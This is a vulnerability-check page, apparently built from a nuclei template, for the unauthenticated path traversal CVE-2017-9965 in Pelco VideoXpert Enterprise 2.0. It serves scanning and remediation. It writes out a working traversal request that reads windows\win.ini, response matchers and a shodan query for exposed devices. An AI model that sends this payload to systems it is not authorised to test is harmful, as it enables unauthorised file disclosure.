Schneider Electric Pelco VideoXpert Enterprise 2.0 - Path Traversal

mediumseverity

5.8CVSS score

4.6%likelihood of exploitation, next 30 days

92%of all CVEs are less likely

Readycheck to confirm it

Schneider Electric Pelco VideoXpert Enterprise versions 2.0 and prior contain a directory traversal caused by insufficient input validation, letting unauthorized persons view web server files, exploit requires no authentication.

Impact

Unauthenticated attackers can view web server files and directories, potentially exposing sensitive configuration files, credentials, and system information.

Fix

Apply security updates provided by Schneider Electric or upgrade to a non-vulnerable version.

How to confirm it

Send: GET {{BaseURL}}/portal//..\\\..\\\..\\\..\\\windows\win.ini
Positive when: contains "bit app support" and "fonts" and "extensions" AND status 200

Run it with nuclei: nuclei -id CVE-2017-9965 -u <target>

The full check

id: CVE-2017-9965

info:
  name: Schneider Electric Pelco VideoXpert Enterprise 2.0 - Path Traversal
  author: 0x_akoko
  severity: medium
  description: |
    Schneider Electric Pelco VideoXpert Enterprise versions 2.0 and prior contain a directory traversal caused by insufficient input validation, letting unauthorized persons view web server files, exploit requires no authentication.
  impact: |
    Unauthenticated attackers can view web server files and directories, potentially exposing sensitive configuration files, credentials, and system information.
  remediation: |
    Apply security updates provided by Schneider Electric or upgrade to a non-vulnerable version.
  reference:
    - https://packetstormsecurity.com/files/143317/Schneider-Electric-Pelco-VideoXpert-Core-Admin-Portal-Directory-Traversal.html
    - https://www.zeroscience.mk/en/vulnerabilities/ZSL-2017-5419.php
    - https://ics-cert.us-cert.gov/advisories/ICSA-17-355-02
    - https://www.schneider-electric.com/en/download/document/SEVD-2017-339-01/
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:N/A:N
    cvss-score: 5.8
    cve-id: CVE-2017-9965
    cwe-id: CWE-22
    epss-score: 0.04612
    epss-percentile: 0.91755
    cpe: cpe:2.3:a:schneider-electric:pelco_videoxpert:*:*:*:*:enterprise:*:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: schneider-electric
    product: pelco_videoxpert
    shodan-query: title:"VideoXpert"
  tags: cve,cve2017,schneider,pelco,packetstorm,lfi,videoxpert,vuln

http:
  - method: GET
    path:
      - '{{BaseURL}}/portal//..\\\..\\\..\\\..\\\windows\win.ini'

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - 'bit app support'
          - 'fonts'
          - 'extensions'
        condition: and

      - type: status
        status:
          - 200

References

Use this check only on systems you are authorised to test. Where the data comes from